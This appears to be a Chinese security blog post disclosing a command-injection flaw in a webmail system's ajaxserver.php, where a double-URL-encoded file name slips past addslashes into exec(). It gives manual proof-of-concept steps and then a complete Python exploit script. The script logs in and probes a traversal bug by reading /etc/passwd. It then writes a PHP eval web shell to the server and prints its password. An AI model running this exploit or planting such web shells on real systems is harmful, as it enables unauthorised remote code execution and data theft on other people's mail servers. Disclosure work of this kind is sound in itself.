和http://0day5.com/archives/3042类似,或者在其基础上进行补充
先来看下全局函数:include/common.php
if(!MAGIC_QUOTES_GPC){ foreach($_COOKIE as $key => $val){ if(is_array($val)){ foreach($val as $k => $v){ $val[$k] = addslashes($v); } }else{ $val = addslashes($val); } $_COOKIE[$key] = $val; } foreach($_POST as $key => $val){ if(is_array($val)){ foreach($val as $k => $v){ $val[$k] = addslashes($v); } }else{ $val = addslashes($val); } $_POST[$key] = $val; } foreach($_GET as $key => $val){ if(is_array($val)){ foreach($val as $k => $v){ $val[$k] = addslashes($v); } }else{ $val = addslashes($val); } $_GET[$key] = $val; } }
可以看到对GPC的value做了addslashes处理
其实还包含了360的webscan防注入,这里没啥关系就不贴了
再来看src/ajaxserver.php的问题代码:
if($_GET['exec']=='saveToNet'){ // 保存到网络硬盘 list($box_name,$uid) = explode(':', $_GET['sd']); $file_name = urldecode($_POST['file_name']); $net_dir = $_POST['net_dir']; $dir = $gTmpUploadDir.$box_name.$uid."/"; if(!is_dir($dir)){//目录不存在,创建目录并生成文件 @mkdir($dir,0722,true);//逐层检查创建0700权限 select_mailbox($connection,$box_name); $entity = parse_entity('type','application/',$box_name,$uid,'',true); foreach($entity as $val){ $mail_attachment = mail_body($connection,$uid,$val['entity_id'],$val['encoding']); $att_name = $val['filename']; $file = fopen($dir.$att_name,'w'); fwrite($file,$mail_attachment); fclose($file); } } $fArr = explode('.', $file_name); $fSuffix = end($fArr); $fPrefix = substr($file_name, 0, -(strlen($fSuffix)+1)); $movefile = $gNetDiskDir.$net_dir."/".$file_name; $auton = 0; $goexpr = true; while($goexpr){ if(is_file($movefile)){ $movefile = $gNetDiskDir.$net_dir."/".$fPrefix.'('.$auton.').'.$fSuffix; $auton++; }else{ $goexpr = false; } } exec("cd '".$dir."'; cp '".$file_name."' '".$movefile."'",$rs,$res); if($result>0 || $res===0){ echo '<meta http-equiv="Content-Type" content="text/html; charset='.$default_charset.'" />' ; echo '<script type="text/javascript">'; echo 'alert("'.$language['show_save_net_ok'].'");'; echo '</script>'; } exit; }
问题在于:
$file_name = urldecode($_POST['file_name']);
exec("cd '".$dir."'; cp '".$file_name."' '".$movefile."'",$rs,$res);
虽然exec函数里$file_name有单引号包含,但是$file_name = urldecode($_POST['file_name']);,可以2次urlencode单引号绕过addslashes
POC如下:
1、找个账号登录http://mail.xxx.com/
2、打开http://mail.xxx.com/src/ajaxserver.php?exec=saveToNet&sd=aa:admin
3、POST net_dir=a&file_name=%2527|echo %2527%2527>/var/www/newmail/phpinfo.php%2527
4、访问http://mail.xxx.com/phpinfo.php
import requests import sys if len(sys.argv) < 4: print 'usage:python fuck.py http(s)://target:port/ <username> <password>' print 'example:python fuck.py http://mail.test.com:80/ admin admin' sys.exit(0) else: target = sys.argv[1] if not target.endswith('/'): target += '/' username = sys.argv[2] password = sys.argv[3] sessionid = '' def login(target,username,password): login_request = '' global sessionid domain = target[(target.index('.')+1):(target.index(':',6))] print 'domain=' + domain login_url = target + 'index.php' post_data = 'txtname=' + username + '&domain=' + domain + '&txtpwd=' + password + '&languages=zh-cn&button=%E7%99%BB+%E5%BD%95' try: login_request = requests.post(login_url,post_data,allow_redirects=False,verify=False,timeout=3) if login_request.status_code == 302: print 'login succeeded' sessionid = login_request.cookies['PHPSESSID'] return sessionid else: print 'login failed,please check username and password' return False except Exception,e: print Exception,":",e return False def check(target,sessionid): check_request = '' url = target + 'src/read_file.php?uploadimage=../../../../../../../../../../etc/passwd' request_header = {'cookie': 'MAILSESSID=' + str(sessionid) + '; PHPSESSID=' + str(sessionid)} try: check_request = requests.get(url,headers=request_header,verify=False,timeout=3) if 'root:x:0:0:root:/root:/bin/bash' in check_request.text and check_request.status_code == 200: print 'target is vulnerable/r/n' # print 'the content of file /'/etc/passwd/'/r/n' # print check_request.text return True else: print 'target is not vulnerable' return False except Exception,e: print Exception,":",e return False def getshell(target,sessionid): getshell_request = '' fuckurl = target + 'src/ajaxserver.php?exec=saveToNet&sd=aa:admin' getshell_header = {'cookie': 'MAILSESSID=' + str(sessionid) + '; PHPSESSID=' + str(sessionid)} getshell_data = 'net_dir=a&file_name=%2527|echo %2527<?php phpinfo();eval($_POST[123]);?>%2527>/var/www/newmail/shell.php%2527' # print getshell_data try: getshell_request = requests.post(fuckurl,getshell_data,headers=getshell_header,allow_redirects=False,verify=False) if (requests.get(target + 'shell.php',verify=False).status_code == 200): print 'getshell succeeded,address:' + str(target + 'shell.php') + ' password:123' else: print 'getshell failed!' except Exception,e: print Exception,":",e return False if __name__ == '__main__': if (login(target,username,password)): print 'sessionid=' + sessionid if(check(target,sessionid)): print 'target is vulnerable to directory transversal' else: print 'target is not vulnerable to directory transversal' print 'trying to getshell,please wait' getshell(target,sessionid)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论